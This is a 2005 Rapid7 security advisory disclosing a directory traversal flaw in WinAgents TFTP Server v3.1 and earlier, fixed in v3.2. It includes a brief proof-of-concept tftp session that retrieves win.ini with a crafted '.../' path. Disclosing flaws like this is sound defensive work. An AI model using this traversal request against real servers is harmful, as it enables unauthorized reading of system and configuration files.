Rapid7 Security Advisory R7-0020: Directory traversal vulnerability in WinAgents TFTP Server for Windows

August 17, 2005 - Rapid7 has found a directory traversal vulnerability in WinAgents TFTP Server for Windows. This vulnerability allows remote users to download any files outside of the server's TFTP data directory.

Affected system(s):

KNOWN VULNERABLE:

• WinAgents TFTP Server for Windows v3.1 and earlier

KNOWN FIXED:

• WinAgents TFTP Server for Windows v3.2

WinAgents Software Group
http://www.winagents.com/en/products/tftp-server/

According to the vendor, WinAgents TFTP server version 3.2 fixes this directory traversal vulnerability. For more information, see http://www.winagents.com/en/news/410.php

TFTP servers are often used to transfer configuration files and operating system images to routers. TFTP is also used for devices that support PXE booting.

Most implementations do trivial filtering on requested filenames such as "../filename" to prevent easy directory traversal. However, it is easy to bypass this filtering by manipulating the filename being requested.

With the WinAgents TFTP server, any file on the system can be downloaded using a request similar to the following:

$ tftp 192.168.0.1
tftp> get .../WINNT/win.ini
Received 582 bytes in 0.1 seconds
tftp> quit

$ cat win.ini
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
...

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